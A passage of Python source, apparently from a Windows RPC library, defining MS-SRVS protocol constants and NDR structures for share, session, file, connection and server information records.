SV_TYPE_MASTER_BROWSER = 0x00040000
SV_TYPE_DOMAIN_MASTER = 0x00080000
SV_TYPE_DOMAIN_ENUM = 0x80000000
SV_TYPE_WINDOWS = 0x00400000
SV_TYPE_ALL = 0xFFFFFFFF
SV_TYPE_TERMINALSERVER = 0x02000000
SV_TYPE_CLUSTER_NT = 0x10000000
SV_TYPE_CLUSTER_VS_NT = 0x04000000
# 2.2.2.8 Name Types
NAMETYPE_USER = 1
NAMETYPE_PASSWORD = 2
NAMETYPE_GROUP = 3
NAMETYPE_COMPUTER = 4
NAMETYPE_EVENT = 5
NAMETYPE_DOMAIN = 6
NAMETYPE_SERVICE = 7
NAMETYPE_NET = 8
NAMETYPE_SHARE = 9
NAMETYPE_MESSAGE = 10
NAMETYPE_MESSAGEDEST = 11
NAMETYPE_SHAREPASSWORD = 12
NAMETYPE_WORKGROUP = 13
# 2.2.2.9 Path Types
ITYPE_UNC_COMPNAME = 4144
ITYPE_UNC_WC = 4145
ITYPE_UNC = 4096
ITYPE_UNC_WC_PATH = 4097
ITYPE_UNC_SYS_SEM = 6400
ITYPE_UNC_SYS_SHMEM = 6656
ITYPE_UNC_SYS_MSLOT = 6144
ITYPE_UNC_SYS_PIPE = 6912
ITYPE_UNC_SYS_QUEUE = 7680
ITYPE_PATH_ABSND = 8194
ITYPE_PATH_ABSD = 8198
ITYPE_PATH_RELND = 8192
ITYPE_PATH_RELD = 8196
ITYPE_PATH_ABSND_WC = 8195
ITYPE_PATH_ABSD_WC = 8199
ITYPE_PATH_RELND_WC = 8193
ITYPE_PATH_RELD_WC = 8197
ITYPE_PATH_SYS_SEM = 10498
ITYPE_PATH_SYS_SHMEM = 10754
ITYPE_PATH_SYS_MSLOT = 10242
ITYPE_PATH_SYS_PIPE = 11010
ITYPE_PATH_SYS_COMM = 11266
ITYPE_PATH_SYS_PRINT = 11522
ITYPE_PATH_SYS_QUEUE = 11778
ITYPE_PATH_SYS_SEM_M = 43266
ITYPE_PATH_SYS_SHMEM_M = 43522
ITYPE_PATH_SYS_MSLOT_M = 43010
ITYPE_PATH_SYS_PIPE_M = 43778
ITYPE_PATH_SYS_COMM_M = 44034
ITYPE_PATH_SYS_PRINT_M = 44290
ITYPE_PATH_SYS_QUEUE_M = 44546
ITYPE_DEVICE_DISK = 16384
ITYPE_DEVICE_LPT = 16400
ITYPE_DEVICE_COM = 16416
ITYPE_DEVICE_CON = 16448
ITYPE_DEVICE_NUL = 16464
# 2.2.2.11 SHARE_INFO Parameter Error Codes
SHARE_NETNAME_PARMNUM = 1
SHARE_TYPE_PARMNUM = 3
SHARE_REMARK_PARMNUM = 4
SHARE_PERMISSIONS_PARMNUM = 5
SHARE_MAX_USES_PARMNUM = 6
SHARE_CURRENT_USES_PARMNUM = 7
SHARE_PATH_PARMNUM = 8
SHARE_PASSWD_PARMNUM = 9
SHARE_FILE_SD_PARMNUM = 501
# 2.2.2.12 SERVER_INFO Parameter Error Codes
SV_PLATFORM_ID_PARMNUM = 101
SV_NAME_PARMNUM = 102
SV_VERSION_MAJOR_PARMNUM = 103
SV_VERSION_MINOR_PARMNUM = 104
SV_TYPE_PARMNUM = 105
SV_COMMENT_PARMNUM = 5
SV_USERS_PARMNUM = 107
SV_DISC_PARMNUM = 10
SV_HIDDEN_PARMNUM = 16
SV_ANNOUNCE_PARMNUM = 17
SV_ANNDELTA_PARMNUM = 18
SV_USERPATH_PARMNUM = 112
SV_SESSOPENS_PARMNUM = 501
SV_SESSVCS_PARMNUM = 502
SV_OPENSEARCH_PARMNUM = 503
SV_SIZREQBUF_PARMNUM = 504
SV_INITWORKITEMS_PARMNUM = 505
SV_MAXWORKITEMS_PARMNUM = 506
SV_RAWWORKITEMS_PARMNUM = 507
SV_IRPSTACKSIZE_PARMNUM = 508
SV_MAXRAWBUFLEN_PARMNUM = 509
SV_SESSUSERS_PARMNUM = 510
SV_SESSCONNS_PARMNUM = 511
SV_MAXNONPAGEDMEMORYUSAGE_PARMNUM = 512
SV_MAXPAGEDMEMORYUSAGE_PARMNUM = 513
SV_ENABLESOFTCOMPAT_PARMNUM = 514
SV_ENABLEFORCEDLOGOFF_PARMNUM = 515
SV_TIMESOURCE_PARMNUM = 516
SV_ACCEPTDOWNLEVELAPIS_PARMNUM = 517
SV_LMANNOUNCE_PARMNUM = 518
SV_DOMAIN_PARMNUM = 519
SV_MAXCOPYREADLEN_PARMNUM = 520
SV_MAXCOPYWRITELEN_PARMNUM = 521
SV_MINKEEPSEARCH_PARMNUM = 522
SV_MAXKEEPSEARCH_PARMNUM = 523
SV_MINKEEPCOMPLSEARCH_PARMNUM = 524
SV_MAXKEEPCOMPLSEARCH_PARMNUM = 525
SV_THREADCOUNTADD_PARMNUM = 526
SV_NUMBLOCKTHREADS_PARMNUM = 527
SV_SCAVTIMEOUT_PARMNUM = 528
SV_MINRCVQUEUE_PARMNUM = 529
SV_MINFREEWORKITEMS_PARMNUM = 530
SV_XACTMEMSIZE_PARMNUM = 531
SV_THREADPRIORITY_PARMNUM = 532
SV_MAXMPXCT_PARMNUM = 533
SV_OPLOCKBREAKWAIT_PARMNUM = 534
SV_OPLOCKBREAKRESPONSEWAIT_PARMNUM = 535
SV_ENABLEOPLOCKS_PARMNUM = 536
SV_ENABLEOPLOCKFORCECLOSE_PARMNUM = 537
SV_ENABLEFCBOPENS_PARMNUM = 538
SV_ENABLERAW_PARMNUM = 539
SV_ENABLESHAREDNETDRIVES_PARMNUM = 540
SV_MINFREECONNECTIONS_PARMNUM = 541
SV_MAXFREECONNECTIONS_PARMNUM = 542
SV_INITSESSTABLE_PARMNUM = 543
SV_INITCONNTABLE_PARMNUM = 544
SV_INITFILETABLE_PARMNUM = 545
SV_INITSEARCHTABLE_PARMNUM = 546
SV_ALERTSCHEDULE_PARMNUM = 547
SV_ERRORTHRESHOLD_PARMNUM = 548
SV_NETWORKERRORTHRESHOLD_PARMNUM = 549
SV_DISKSPACETHRESHOLD_PARMNUM = 550
SV_MAXLINKDELAY_PARMNUM = 552
SV_MINLINKTHROUGHPUT_PARMNUM = 553
SV_LINKINFOVALIDTIME_PARMNUM = 554
SV_SCAVQOSINFOUPDATETIME_PARMNUM = 555
SV_MAXWORKITEMIDLETIME_PARMNUM = 556
# 2.2.2.13 DFS Entry Flags
PKT_ENTRY_TYPE_CAIRO = 0x0001
PKT_ENTRY_TYPE_MACHINE = 0x0002
PKT_ENTRY_TYPE_NONCAIRO = 0x0004
PKT_ENTRY_TYPE_LEAFONLY = 0x0008
PKT_ENTRY_TYPE_OUTSIDE_MY_DOM = 0x0010
PKT_ENTRY_TYPE_INSITE_ONLY = 0x0020
PKT_ENTRY_TYPE_REFERRAL_SVC = 0x0080
PKT_ENTRY_TYPE_PERMANENT = 0x0100
PKT_ENTRY_TYPE_LOCAL = 0x0400
PKT_ENTRY_TYPE_LOCAL_XPOINT = 0x0800
PKT_ENTRY_TYPE_MACH_SHARE = 0x1000
PKT_ENTRY_TYPE_OFFLINE = 0x2000
# 2.2.4.7 FILE_INFO_3
# fi3_permissions
PERM_FILE_READ = 0x00000001
PERM_FILE_WRITE = 0x00000002
PERM_FILE_CREATE = 0x00000004
ACCESS_EXEC = 0x00000008
ACCESS_DELETE = 0x00000010
ACCESS_ATRIB = 0x00000020
ACCESS_PERM = 0x00000040
# 2.2.4.29 SHARE_INFO_1005
# shi1005_flags
SHI1005_FLAGS_DFS = 0x00000001
SHI1005_FLAGS_DFS_ROOT = 0x00000002
CSC_MASK = 0x00000030
SHI1005_FLAGS_RESTRICT_EXCLUSIVE_OPENS = 0x00000100
SHI1005_FLAGS_FORCE_SHARED_DELETE = 0x00000200
SHI1005_FLAGS_ALLOW_NAMESPACE_CACHING = 0x00000400
SHI1005_FLAGS_ACCESS_BASED_DIRECTORY_ENUM = 0x00000800
SHI1005_FLAGS_FORCE_LEVELII_OPLOCK = 0x00001000
SHI1005_FLAGS_ENABLE_HASH = 0x00002000
SHI1005_FLAGS_ENABLE_CA = 0x00004000
SHI1005_FLAGS_ENCRYPT_DATA = 0x00008000
# 2.2.4.43 SERVER_INFO_103
# sv103_capabilities
SRV_SUPPORT_HASH_GENERATION = 0x0001
SRV_HASH_GENERATION_ACTIVE = 0x0002
# 2.2.4.96 SERVER_TRANSPORT_INFO_3
# svti3_flags
SVTI2_REMAP_PIPE_NAMES = 0x00000002
SVTI2_SCOPED_NAME = 0x00000004
# 2.2.4.109 DFS_SITENAME_INFO
# SiteFlags
DFS_SITE_PRIMARY = 0x00000001
# 3.1.4.42 NetrDfsFixLocalVolume (Opnum 51)
# ServiceType
DFS_SERVICE_TYPE_MASTER = 0x00000001
DFS_SERVICE_TYPE_READONLY = 0x00000002
DFS_SERVICE_TYPE_LOCAL = 0x00000004
DFS_SERVICE_TYPE_REFERRAL = 0x00000008
DFS_SERVICE_TYPE_ACTIVE = 0x000000010
DFS_SERVICE_TYPE_DOWN_LEVEL = 0x000000020
DFS_SERVICE_TYPE_COSTLIER = 0x000000040
DFS_SERVICE_TYPE_OFFLINE = 0x000000080
# CreateDisposition
FILE_SUPERSEDE = 0x00000000
FILE_OPEN = 0x00000001
FILE_CREATE = 0x00000002
################################################################################
# STRUCTURES
################################################################################
# 2.2.4.1 CONNECTION_INFO_0
class CONNECTION_INFO_0(NDRSTRUCT):
structure = (
('coni0_id', DWORD),
)
class CONNECTION_INFO_0_ARRAY(NDRUniConformantArray):
item = CONNECTION_INFO_0
class LPCONNECTION_INFO_0_ARRAY(NDRPOINTER):
referent = (
('Data', CONNECTION_INFO_0_ARRAY),
)
# 2.2.4.2 CONNECTION_INFO_1
class CONNECTION_INFO_1(NDRSTRUCT):
structure = (
('coni1_id', DWORD),
('coni1_type', DWORD),
('coni1_num_opens', DWORD),
('coni1_num_users', DWORD),
('coni1_time', DWORD),
('coni1_username', LPWSTR),
('coni1_netname', LPWSTR),
)
class CONNECTION_INFO_1_ARRAY(NDRUniConformantArray):
item = CONNECTION_INFO_1
class LPCONNECTION_INFO_1_ARRAY(NDRPOINTER):
referent = (
('Data', CONNECTION_INFO_1_ARRAY),
)
# 2.2.4.3 CONNECT_INFO_0_CONTAINER
class CONNECT_INFO_0_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', DWORD),
('Buffer', LPCONNECTION_INFO_0_ARRAY),
)
class LPCONNECT_INFO_0_CONTAINER(NDRPOINTER):
referent = (
('Data', CONNECT_INFO_0_CONTAINER),
)
# 2.2.4.4 CONNECT_INFO_1_CONTAINER
class CONNECT_INFO_1_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', DWORD),
('Buffer', LPCONNECTION_INFO_1_ARRAY),
)
class LPCONNECT_INFO_1_CONTAINER(NDRPOINTER):
referent = (
('Data', CONNECT_INFO_1_CONTAINER),
)
# 2.2.3.1 CONNECT_ENUM_UNION
class CONNECT_ENUM_UNION(NDRUNION):
commonHdr = (
('tag', DWORD),
)
union = {
0: ('Level0', LPCONNECT_INFO_0_CONTAINER),
1: ('Level1', LPCONNECT_INFO_1_CONTAINER),
}
# 2.2.4.5 CONNECT_ENUM_STRUCT
class CONNECT_ENUM_STRUCT(NDRSTRUCT):
structure = (
('Level', DWORD),
('ConnectInfo', CONNECT_ENUM_UNION),
)
# 2.2.4.6 FILE_INFO_2
class FILE_INFO_2(NDRSTRUCT):
structure = (
('fi2_id', DWORD),
)
class LPFILE_INFO_2(NDRPOINTER):
referent = (
('Data', FILE_INFO_2),
)
class FILE_INFO_2_ARRAY(NDRUniConformantArray):
item = FILE_INFO_2
class LPFILE_INFO_2_ARRAY(NDRPOINTER):
referent = (
('Data', FILE_INFO_2_ARRAY),
)
# 2.2.4.7 FILE_INFO_3
class FILE_INFO_3(NDRSTRUCT):
structure = (
('fi3_id', DWORD),
('fi3_permissions', DWORD),
('fi3_num_locks', DWORD),
('fi3_path_name', LPWSTR),
('fi3_username', LPWSTR),
)
class LPFILE_INFO_3(NDRPOINTER):
referent = (
('Data', FILE_INFO_3),
)
class FILE_INFO_3_ARRAY(NDRUniConformantArray):
item = FILE_INFO_3
class LPFILE_INFO_3_ARRAY(NDRPOINTER):
referent = (
('Data', FILE_INFO_3_ARRAY),
)
# 2.2.4.8 FILE_INFO_2_CONTAINER
class FILE_INFO_2_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', DWORD),
('Buffer', LPFILE_INFO_2_ARRAY),
)
class LPFILE_INFO_2_CONTAINER(NDRPOINTER):
referent = (
('Data', FILE_INFO_2_CONTAINER),
)
# 2.2.4.9 FILE_INFO_3_CONTAINER
class FILE_INFO_3_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', DWORD),
('Buffer', LPFILE_INFO_3_ARRAY),
)
class LPFILE_INFO_3_CONTAINER(NDRPOINTER):
referent = (
('Data', FILE_INFO_3_CONTAINER),
)
# 2.2.3.2 FILE_ENUM_UNION
class FILE_ENUM_UNION(NDRUNION):
commonHdr = (
('tag', DWORD),
)
union = {
2: ('Level2', LPFILE_INFO_2_CONTAINER),
3: ('Level3', LPFILE_INFO_3_CONTAINER),
}
# 2.2.4.10 FILE_ENUM_STRUCT
class FILE_ENUM_STRUCT(NDRSTRUCT):
structure = (
('Level', DWORD),
('FileInfo', FILE_ENUM_UNION),
)
# 2.2.4.11 SESSION_INFO_0
class SESSION_INFO_0(NDRSTRUCT):
structure = (
('sesi0_cname', LPWSTR),
)
class LPSESSION_INFO_0(NDRPOINTER):
referent = (
('Data', SESSION_INFO_0),
)
class SESSION_INFO_0_ARRAY(NDRUniConformantArray):
item = SESSION_INFO_0
class LPSESSION_INFO_0_ARRAY(NDRPOINTER):
referent = (
('Data', SESSION_INFO_0_ARRAY),
)
# 2.2.4.12 SESSION_INFO_1
class SESSION_INFO_1(NDRSTRUCT):
structure = (
('sesi1_cname', LPWSTR),
('sesi1_username', LPWSTR),
('sesi1_num_opens', DWORD),
('sesi1_time', DWORD),
('sesi1_idle_time', DWORD),
('sesi1_user_flags', DWORD),
)
class LPSESSION_INFO_1(NDRPOINTER):
referent = (
('Data', SESSION_INFO_1),
)
class SESSION_INFO_1_ARRAY(NDRUniConformantArray):
item = SESSION_INFO_1
class LPSESSION_INFO_1_ARRAY(NDRPOINTER):
referent = (
('Data', SESSION_INFO_1_ARRAY),
)
# 2.2.4.13 SESSION_INFO_2
class SESSION_INFO_2(NDRSTRUCT):
structure = (
('sesi2_cname', LPWSTR),
('sesi2_username', LPWSTR),
('sesi2_num_opens', DWORD),
('sesi2_time', DWORD),
('sesi2_idle_time', DWORD),
('sesi2_user_flags', DWORD),
('sesi2_cltype_name', LPWSTR),
)
class LPSESSION_INFO_2(NDRPOINTER):
referent = (
('Data', SESSION_INFO_2),
)
class SESSION_INFO_2_ARRAY(NDRUniConformantArray):
item = SESSION_INFO_2
class LPSESSION_INFO_2_ARRAY(NDRPOINTER):
referent = (
('Data', SESSION_INFO_2_ARRAY),
)
# 2.2.4.14 SESSION_INFO_10
class SESSION_INFO_10(NDRSTRUCT):
structure = (
('sesi10_cname', LPWSTR),
('sesi10_username', LPWSTR),
('sesi10_time', DWORD),
('sesi10_idle_time', DWORD),
)
class LPSESSION_INFO_10(NDRPOINTER):
referent = (
('Data', SESSION_INFO_10),
)
class SESSION_INFO_10_ARRAY(NDRUniConformantArray):
item = SESSION_INFO_10
class LPSESSION_INFO_10_ARRAY(NDRPOINTER):
referent = (
('Data', SESSION_INFO_10_ARRAY),
)
# 2.2.4.15 SESSION_INFO_502
class SESSION_INFO_502(NDRSTRUCT):
structure = (
('sesi502_cname', LPWSTR),
('sesi502_username', LPWSTR),
('sesi502_num_opens', DWORD),
('sesi502_time', DWORD),
('sesi502_idle_time', DWORD),
('sesi502_user_flags', DWORD),
('sesi502_cltype_name', LPWSTR),
('sesi502_transport', LPWSTR),
)
class LPSESSION_INFO_502(NDRPOINTER):
referent = (
('Data', SESSION_INFO_502),
)
class SESSION_INFO_502_ARRAY(NDRUniConformantArray):
item = SESSION_INFO_502
class LPSESSION_INFO_502_ARRAY(NDRPOINTER):
referent = (
('Data', SESSION_INFO_502_ARRAY),
)
# 2.2.4.16 SESSION_INFO_0_CONTAINER
class SESSION_INFO_0_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', DWORD),
('Buffer', LPSESSION_INFO_0_ARRAY),
)
class LPSESSION_INFO_0_CONTAINER(NDRPOINTER):
referent = (
('Data', SESSION_INFO_0_CONTAINER),
)
# 2.2.4.17 SESSION_INFO_1_CONTAINER
class SESSION_INFO_1_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', DWORD),
('Buffer', LPSESSION_INFO_1_ARRAY),
)
class LPSESSION_INFO_1_CONTAINER(NDRPOINTER):
referent = (
('Data', SESSION_INFO_1_CONTAINER),
)
# 2.2.4.18 SESSION_INFO_2_CONTAINER
class SESSION_INFO_2_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', DWORD),
('Buffer', LPSESSION_INFO_2_ARRAY),
)
class LPSESSION_INFO_2_CONTAINER(NDRPOINTER):
referent = (
('Data', SESSION_INFO_2_CONTAINER),
)
# 2.2.4.19 SESSION_INFO_10_CONTAINER
class SESSION_INFO_10_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', DWORD),
('Buffer', LPSESSION_INFO_10_ARRAY),
)
class LPSESSION_INFO_10_CONTAINER(NDRPOINTER):
referent = (
('Data', SESSION_INFO_10_CONTAINER),
)
# 2.2.4.20 SESSION_INFO_502_CONTAINER
class SESSION_INFO_502_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', DWORD),
('Buffer', LPSESSION_INFO_502_ARRAY),
)
class LPSESSION_INFO_502_CONTAINER(NDRPOINTER):
referent = (
('Data', SESSION_INFO_502_CONTAINER),
)
# 2.2.3.4 SESSION_ENUM_UNION
class SESSION_ENUM_UNION(NDRUNION):
commonHdr = (
('tag', DWORD),
)
union = {
0: ('Level0', LPSESSION_INFO_0_CONTAINER),
1: ('Level1', LPSESSION_INFO_1_CONTAINER),
2: ('Level2', LPSESSION_INFO_2_CONTAINER),
10: ('Level10', LPSESSION_INFO_10_CONTAINER),
502: ('Level502', LPSESSION_INFO_502_CONTAINER),
}
# 2.2.4.21 SESSION_ENUM_STRUCT
class SESSION_ENUM_STRUCT(NDRSTRUCT):
structure = (
('Level', DWORD),
('SessionInfo', SESSION_ENUM_UNION),
)
# 2.2.4.22 SHARE_INFO_0
class SHARE_INFO_0(NDRSTRUCT):
structure = (
('shi0_netname', LPWSTR),
)
class LPSHARE_INFO_0(NDRPOINTER):
referent = (
('Data', SHARE_INFO_0),
)
class SHARE_INFO_0_ARRAY(NDRUniConformantArray):
item = SHARE_INFO_0
class LPSHARE_INFO_0_ARRAY(NDRPOINTER):
referent = (
('Data', SHARE_INFO_0_ARRAY),
)
# 2.2.4.23 SHARE_INFO_1
class SHARE_INFO_1(NDRSTRUCT):
structure = (
('shi1_netname', LPWSTR),
('shi1_type', DWORD),
('shi1_remark', LPWSTR),
)
class LPSHARE_INFO_1(NDRPOINTER):
referent = (
('Data', SHARE_INFO_1),
)
class SHARE_INFO_1_ARRAY(NDRUniConformantArray):
item = SHARE_INFO_1
class LPSHARE_INFO_1_ARRAY(NDRPOINTER):
referent = (
('Data', SHARE_INFO_1_ARRAY),
)
# 2.2.4.24 SHARE_INFO_2
class SHARE_INFO_2(NDRSTRUCT):
structure = (
('shi2_netname', LPWSTR),
('shi2_type', DWORD),
('shi2_remark', LPWSTR),
('shi2_permissions', DWORD),
('shi2_max_uses', DWORD),
('shi2_current_uses', DWORD),
('shi2_path', LPWSTR),
('shi2_passwd', LPWSTR),
)
class LPSHARE_INFO_2(NDRPOINTER):
referent = (
('Data', SHARE_INFO_2),
)
class SHARE_INFO_2_ARRAY(NDRUniConformantArray):
item = SHARE_INFO_2
class LPSHARE_INFO_2_ARRAY(NDRPOINTER):
referent = (
('Data', SHARE_INFO_2_ARRAY),
)
# 2.2.4.25 SHARE_INFO_501
class SHARE_INFO_501(NDRSTRUCT):
structure = (
('shi501_netname', LPWSTR),
('shi501_type', DWORD),
('shi501_remark', LPWSTR),
('shi501_flags', DWORD),
)
class LPSHARE_INFO_501(NDRPOINTER):
referent = (
('Data', SHARE_INFO_501),
)
class SHARE_INFO_501_ARRAY(NDRUniConformantArray):
item = SHARE_INFO_501
class LPSHARE_INFO_501_ARRAY(NDRPOINTER):
referent = (
('Data', SHARE_INFO_501_ARRAY),
)
# 2.2.4.26 SHARE_INFO_502_I
class SHARE_INFO_502(NDRSTRUCT):
structure = (
('shi502_netname', LPWSTR),
('shi502_type', DWORD),
('shi502_remark', LPWSTR),
('shi502_permissions', DWORD),
('shi502_max_uses', DWORD),
('shi502_current_uses', DWORD),
('shi502_path', LPWSTR),
('shi502_passwd', LPWSTR),
('shi502_reserved', DWORD),
('shi502_security_descriptor', LPBYTE),
)
class LPSHARE_INFO_502(NDRPOINTER):
referent = (
('Data', SHARE_INFO_502),
)
class SHARE_INFO_502_ARRAY(NDRUniConformantArray):
item = SHARE_INFO_502
class LPSHARE_INFO_502_ARRAY(NDRPOINTER):
referent = (
('Data', SHARE_INFO_502_ARRAY),
)
# 2.2.4.27 SHARE_INFO_503_I
class SHARE_INFO_503(NDRSTRUCT):
structure = (
('shi503_netname', LPWSTR),
('shi503_type', DWORD),
('shi503_remark', LPWSTR),
('shi503_permissions', DWORD),
('shi503_max_uses', DWORD),
('shi503_current_uses', DWORD),
('shi503_path', LPWSTR),
('shi503_passwd', LPWSTR),
('shi503_servername', LPWSTR),
('shi503_reserved', DWORD),
('shi503_security_descriptor', LPBYTE),
)
class LPSHARE_INFO_503(NDRPOINTER):
referent = (
('Data', SHARE_INFO_503),
)
class SHARE_INFO_503_ARRAY(NDRUniConformantArray):
item = SHARE_INFO_503
class LPSHARE_INFO_503_ARRAY(NDRPOINTER):
referent = (
('Data', SHARE_INFO_503_ARRAY),
)
# 2.2.4.28 SHARE_INFO_1004
class SHARE_INFO_1004(NDRSTRUCT):
structure = (
('shi1004_remark', LPWSTR),
)
class LPSHARE_INFO_1004(NDRPOINTER):
referent = (
('Data', SHARE_INFO_1004),
)
class SHARE_INFO_1004_ARRAY(NDRUniConformantArray):
item = SHARE_INFO_1004
class LPSHARE_INFO_1004_ARRAY(NDRPOINTER):
referent = (
('Data', SHARE_INFO_1004_ARRAY),
)
# 2.2.4.29 SHARE_INFO_1005
class SHARE_INFO_1005(NDRSTRUCT):
structure = (
('shi1005_flags', DWORD),
)
class LPSHARE_INFO_1005(NDRPOINTER):
referent = (
('Data', SHARE_INFO_1005),
)
class SHARE_INFO_1005_ARRAY(NDRUniConformantArray):
item = SHARE_INFO_1004
class LPSHARE_INFO_1005_ARRAY(NDRPOINTER):
referent = (
('Data', SHARE_INFO_1005_ARRAY),
)
# 2.2.4.30 SHARE_INFO_1006
class SHARE_INFO_1006(NDRSTRUCT):
structure = (
('shi1006_max_uses', DWORD),
)
class LPSHARE_INFO_1006(NDRPOINTER):
referent = (
('Data', SHARE_INFO_1006),
)
class SHARE_INFO_1006_ARRAY(NDRUniConformantArray):
item = SHARE_INFO_1006
class LPSHARE_INFO_1006_ARRAY(NDRPOINTER):
referent = (
('Data', SHARE_INFO_1006_ARRAY),
)
# 2.2.4.31 SHARE_INFO_1501_I
class SHARE_INFO_1501(NDRSTRUCT):
structure = (
('shi1501_reserved', DWORD),
('shi1501_security_descriptor', NDRUniConformantArray),
)
class LPSHARE_INFO_1501(NDRPOINTER):
referent = (
('Data', SHARE_INFO_1501),
)
class SHARE_INFO_1501_ARRAY(NDRUniConformantArray):
item = SHARE_INFO_1501
class LPSHARE_INFO_1501_ARRAY(NDRPOINTER):
referent = (
('Data', SHARE_INFO_1501_ARRAY),
)
# 2.2.4.32 SHARE_INFO_0_CONTAINER
class SHARE_INFO_0_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', DWORD),
('Buffer', LPSHARE_INFO_0_ARRAY),
)
class LPSHARE_INFO_0_CONTAINER(NDRPOINTER):
referent = (
('Data', SHARE_INFO_0_CONTAINER),
)
# 2.2.4.33 SHARE_INFO_1_CONTAINER
class SHARE_INFO_1_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', DWORD),
('Buffer', LPSHARE_INFO_1_ARRAY),
)
class LPSHARE_INFO_1_CONTAINER(NDRPOINTER):
referent = (
('Data', SHARE_INFO_1_CONTAINER),
)
# 2.2.4.34 SHARE_INFO_2_CONTAINER
class SHARE_INFO_2_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', DWORD),
('Buffer', LPSHARE_INFO_2_ARRAY),
)
class LPSHARE_INFO_2_CONTAINER(NDRPOINTER):
referent = (
('Data', SHARE_INFO_2_CONTAINER),
)
# 2.2.4.35 SHARE_INFO_501_CONTAINER
class SHARE_INFO_501_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', DWORD),
('Buffer', LPSHARE_INFO_501_ARRAY),
)
class LPSHARE_INFO_501_CONTAINER(NDRPOINTER):
referent = (
('Data', SHARE_INFO_501_CONTAINER),
)
# 2.2.4.36 SHARE_INFO_502_CONTAINER
class SHARE_INFO_502_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', DWORD),
('Buffer', LPSHARE_INFO_502_ARRAY),
)
class LPSHARE_INFO_502_CONTAINER(NDRPOINTER):
referent = (
('Data', SHARE_INFO_502_CONTAINER),
)
# 2.2.4.37 SHARE_INFO_503_CONTAINER
class SHARE_INFO_503_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', DWORD),
('Buffer', LPSHARE_INFO_503_ARRAY),
)
class LPSHARE_INFO_503_CONTAINER(NDRPOINTER):
referent = (
('Data', SHARE_INFO_503_CONTAINER),
)
# 2.2.3.5 SHARE_ENUM_UNION
class SHARE_ENUM_UNION(NDRUNION):
commonHdr = (
('tag', DWORD),
)
union = {
0: ('Level0', LPSHARE_INFO_0_CONTAINER),
1: ('Level1', LPSHARE_INFO_1_CONTAINER),
2: ('Level2', LPSHARE_INFO_2_CONTAINER),
501: ('Level501', LPSHARE_INFO_501_CONTAINER),
502: ('Level502', LPSHARE_INFO_502_CONTAINER),
503: ('Level503', LPSHARE_INFO_503_CONTAINER),
}
# 2.2.4.38 SHARE_ENUM_STRUCT
class SHARE_ENUM_STRUCT(NDRSTRUCT):
structure = (
('Level', DWORD),
('ShareInfo', SHARE_ENUM_UNION),
)
# 2.2.4.39 STAT_SERVER_0
class STAT_SERVER_0(NDRSTRUCT):
structure = (
('sts0_start', DWORD),
('sts0_fopens', DWORD),
('sts0_devopens', DWORD),
('sts0_jobsqueued', DWORD),
('sts0_sopens', DWORD),
('sts0_stimedout', DWORD),
('sts0_serrorout', DWORD),
('sts0_pwerrors', DWORD),
('sts0_permerrors', DWORD),
('sts0_syserrors', DWORD),
('sts0_bytessent_low', DWORD),
('sts0_bytessent_high', DWORD),
('sts0_bytesrcvd_low', DWORD),
('sts0_bytesrcvd_high', DWORD),
('sts0_avresponse', DWORD),
('sts0_reqbufneed', DWORD),
('sts0_bigbufneed', DWORD),
)
class LPSTAT_SERVER_0(NDRPOINTER):
referent = (
('Data', STAT_SERVER_0),
)
# 2.2.4.40 SERVER_INFO_100
class SERVER_INFO_100(NDRSTRUCT):
structure = (
('sv100_platform_id', DWORD),
('sv100_name', LPWSTR),
)
class LPSERVER_INFO_100(NDRPOINTER):
referent = (
('Data', SERVER_INFO_100),
)
# 2.2.4.41 SERVER_INFO_101
class SERVER_INFO_101(NDRSTRUCT):
structure = (
('sv101_platform_id', DWORD),
('sv101_name', LPWSTR),
('sv101_version_major', DWORD),
('sv101_version_minor', DWORD),
('sv101_type', DWORD),
('sv101_comment', LPWSTR),
)
class LPSERVER_INFO_101(NDRPOINTER):
referent = (
('Data', SERVER_INFO_101),
)
# 2.2.4.42 SERVER_INFO_102
class SERVER_INFO_102(NDRSTRUCT):
structure = (
('sv102_platform_id', DWORD),
('sv102_name', LPWSTR),
('sv102_version_major', DWORD),
('sv102_version_minor', DWORD),
('sv102_type', DWORD),
('sv102_comment', LPWSTR),
('sv102_users', DWORD),
('sv102_disc', DWORD),
('sv102_hidden', DWORD),
('sv102_announce', DWORD),
('sv102_anndelta', DWORD),
('sv102_licenses', DWORD),
('sv102_userpath', LPWSTR),
)
class LPSERVER_INFO_102(NDRPOINTER):
referent = (
('Data', SERVER_INFO_102),
)
# 2.2.4.43 SERVER_INFO_103
class SERVER_INFO_103(NDRSTRUCT):
structure = (
('sv103_platform_id', DWORD),
('sv103_name', LPWSTR),
('sv103_version_major', DWORD),
('sv103_version_minor', DWORD),
('sv103_type', DWORD),
('sv103_comment', LPWSTR),
('sv103_users', DWORD),
('sv103_disc', DWORD),
('sv103_hidden', DWORD),
('sv103_announce', DWORD),
('sv103_anndelta', DWORD),
('sv103_licenses', DWORD),
('sv103_userpath', LPWSTR),
('sv103_capabilities', DWORD),
)
class LPSERVER_INFO_103(NDRPOINTER):
referent = (
('Data', SERVER_INFO_103),
)
# 2.2.4.44 SERVER_INFO_502
class SERVER_INFO_502(NDRSTRUCT):
structure = (
('sv502_sessopens', DWORD),
('sv502_sessvcs', DWORD),
('sv502_opensearch', DWORD),
('sv502_sizreqbuf', DWORD),
('sv502_initworkitems', DWORD),
('sv502_maxworkitems', DWORD),
('sv502_rawworkitems', DWORD),
('sv502_irpstacksize', DWORD),
('sv502_maxrawbuflen', DWORD),
('sv502_sessusers', DWORD),
('sv502_sessconns', DWORD),
('sv502_maxpagedmemoryusage', DWORD),
('sv502_maxnonpagedmemoryusage', DWORD),
('sv502_enablesoftcompat', DWORD),
('sv502_enableforcedlogoff', DWORD),
('sv502_timesource', DWORD),
('sv502_acceptdownlevelapis', DWORD),
('sv502_lmannounce', DWORD),
)
